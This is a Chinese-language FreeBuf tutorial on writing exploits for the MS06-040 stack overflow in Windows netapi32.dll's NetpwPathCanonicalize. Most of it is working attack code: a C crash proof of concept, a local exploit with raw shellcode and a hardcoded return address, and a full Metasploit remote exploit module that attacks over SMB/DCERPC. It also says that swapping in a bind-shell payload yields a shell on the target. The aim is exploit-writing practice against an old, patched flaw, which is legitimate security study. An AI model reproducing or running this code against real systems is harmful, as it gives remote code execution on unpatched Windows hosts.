當前位置:
首頁 > 新聞 > 遠程RPC溢出EXP編寫實戰之MS06-040

遠程RPC溢出EXP編寫實戰之MS06-040

*本文原創作者:wooy0ung,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0x01 前言


MS06-040算是個比較老的洞了,在當年影響十分之廣,基本上Microsoft大部分操作系統都受到了影響,威力不亞於17年爆出的」永恆之藍」漏洞。漏洞成因是Windows中參與socket網路的netapi32.dll動態鏈接庫里的一個導出函數NetpwPathCanonicalize()存在棧溢出,而且這個函數能夠通過RPC遠程調用。由於是棧溢出利用起來不算太複雜,正好用來實踐編寫metasploit的遠程利用腳本。

0x02 前期準備



1. Windows XP Professional sp3(非必需,我因為VC6安裝在這上面,只是用來編譯POC)


2. Windows 2000 Professional sp0(其他系統版本可能需要重新調試,更高版本可能需要繞過部分安全機制)


3. Kali Linux x64(安裝有metasploit framework latest)


4. 調試器:Ollydbg 1.10


5. 編譯器: VC++ 6.0


6. 反編譯器: IDA 6.8


7. 注意: 需要未打補丁的netapi32.dll,Windows 2000在C:WINNTsystem32目錄下能找到,


或者用以下提供的dll,但遠程exploit必須要帶有未打補丁dll的系統。

相關下載:



鏈接:https://pan.baidu.com/s/1qZQ1vnY 密碼:5stq


0x03 定位崩潰點


VC++ 6.0編譯POC, 運行

#include"stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

int main()
{    
   char path[0x320];
   char can_path[0x440];
   int maxbuf=0x440;
   char prefix[0x100];
   long pathtype=44;

   HINSTANCE LibHandle;
   MYPROC Trigger;

   char dll[ ] = "./netapi32.dll";
   char VulFunc[ ] = "NetpwPathCanonicalize";
   LibHandle = LoadLibrary(dll);
   Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

   memset(path,0,sizeof(path));
   memset(path,"a",sizeof(path)-2);
   memset(prefix,0,sizeof(prefix));
   memset(prefix,"b",sizeof(prefix)-2);

   (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
   FreeLibrary(LibHandle);

   return 0;
}

程序崩潰掉, OD附加上去, EIP被」aaaa」填充




執行文件拖到OD, 單步來到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉





跟進NetpwPathCanonicalize函數, 執行MSVCRT.wcscat, 當retn時程序再次崩潰




此處應該就是崩潰點, 在IDA定位到該函數




copy」bbbbbb…」串到棧上




「bbbbb…」串尾部拼接一個0x005C




繼續拼接」aaaaa…」串, 覆蓋返回地址



0x04 本地exploit


漏洞的成因是在prefix串的基礎上拼接path串時沒有長度檢查,導致棧溢出。下面通過構造prefix、path串實現本地exploit。




觀察在崩潰函數retn時, ecx指向緩衝區的開始。這樣可以把shellcode布置在」bbbbbb….」串里, 用一條call/jmp ecx跳到棧上執行

// ms06_040_exp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

char shellcode[]=
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"
"xd7";    // 彈框

int main()
{    
   char path[0x320];
   char can_path[0x440];
   int maxbuf=0x440;
   char prefix[0x100];
   long pathtype=44;

   HINSTANCE LibHandle;
   MYPROC Trigger;

   char dll[] = "./netapi32.dll";
   char VulFunc[] = "NetpwPathCanonicalize";

   LibHandle = LoadLibrary(dll);
   Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

   memset(path,0,sizeof(path));
   memset(path,0x90,sizeof(path)-2);
   memset(prefix,0,sizeof(prefix));
   memset(prefix,"a",sizeof(prefix)-2);
   memcpy(prefix,shellcode,113);

   path[0x318]=0xF9;        // call ecx,可能需要調試確定
   path[0x319]=0x52;
   path[0x31A]=0x18;
   path[0x31B]=0x75;

   (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
   FreeLibrary(LibHandle);

   return 0;
}

pwn~




0x05 遠程exploit


很好,現在已經能夠本地溢出

NetpwPathCanonicalize()函數

,下面我們利用metasploit提供的類庫來寫一份遠程exp



##
# Author: wooy0ung
# Date:    2018/01/15
##

require "msf/core"

module Metasploit3
 CachedSize = 200

 include Msf::Payload::Single

 def initialize(info = {})
   super(merge_info(info,
     "Name"          => "Windows Warning Box",
     "Description"   => "Only for Version under Windows 7",
     "Author"        => [ "wooy0ung" ],
     "Platform"      => "win",
     "Arch"          => ARCH_X86,
     "Payload"       =>
       {
         "Payload" =>
              "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"+
       "x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"+
       "x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"+
       "xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"+
       "x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"+
       "xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"+
       "x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"+
       "xd7"
       }
     ))
 end

end

以上是一段彈出警告框的payload,新建一個文本貼入以上代碼,保存為warning.rb。

##
# Author: wooy0ung
# Date:    2018/01/15
##

require "msf/core"  

class Metasploit3 < Msf::Exploit::Remote  
   Rank = GoodRanking

   include Exploit::Remote::DCERPC
   include Exploit::Remote::SMB::Client

   def initialize(info = {})

       super(update_info(info,
           "Name"           =>     "MS06-040 RPC Exploit",
           "Description"    =>     "Only for Windows 2000 Professional sp0",
                     "Author"         =>     [ "wooy0ung" ],
           "Platform"       =>    "win",
           "DefaultOptions" =>    {"EXITFUNC" => "thread",},
           "DefaultTarget"  =>     0,
           "Targets"        =>    [["Windows 2000 Professional sp0",  {"Ret" => [0x318 , 0x74FB62C3] }]]))

       register_options([OptString.new("SMBPIPE", [ true,  "The pipe name to use (BROWSER, SRVSVC)", "BROWSER"]),], self.class)

   end

   def exploit

       connect()
       smb_login()

       handle = dcerpc_handle("4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0","ncacn_np",["\#{datastore["SMBPIPE"]}"])
       dcerpc_bind(handle)

       prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "x00x00"

       path = make_nops(0x318) + [target["Ret"][1]].pack("V") +
       "x04xD0xFDx7F" * 5 +        # 可寫地址(這裡原本是崩潰函數傳入的5個參數)
       "x66x81xECx30x04" +        # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 將esp指向payload起始)
       "x8BxC4" +                 # mov eax, esp
       "xFFxE4" +                # jmp esp
       "x00x00"                # Unicode結束符

       stub =    NDR.long(rand(0xffffffff)) +
           NDR.UnicodeConformantVaryingString("") +
           NDR.UnicodeConformantVaryingStringPreBuilt(path) +
           NDR.long(rand(250)+1) +
           NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
           NDR.long(rand(250)+1) +
           NDR.long(0)    

       begin
             dcerpc.call(0x1f, stub, false)
           rescue Rex::Proto::DCERPC::Exceptions::NoResponse
           rescue => e
             if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
                 raise e
             end
               end

          handler
              disconnect

     end  
end

以上則是利用腳本,

保存為ms06_040.rb,主要是構造shellcode(在path做ROP,跳到prefix中執行payload),

在Windows 2000下利用起來比較容易,不再作解釋。




選擇之前保存的exp和payload,設置好靶機ip,pwn~


當然,將普通彈框換成bind_shell的payload就可以拿到shell了~




0x06 後記



看了metasploit的exploits模塊里MS06-040的利用腳本,發現這個洞一直影響到XP和Server 2003版本。因為主要是為了練習寫metasploit框架的exp,所以就不繼續延伸了。


*本文原創作者:wooy0ung,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

大數據安全保護思考

TAG:FreeBuf |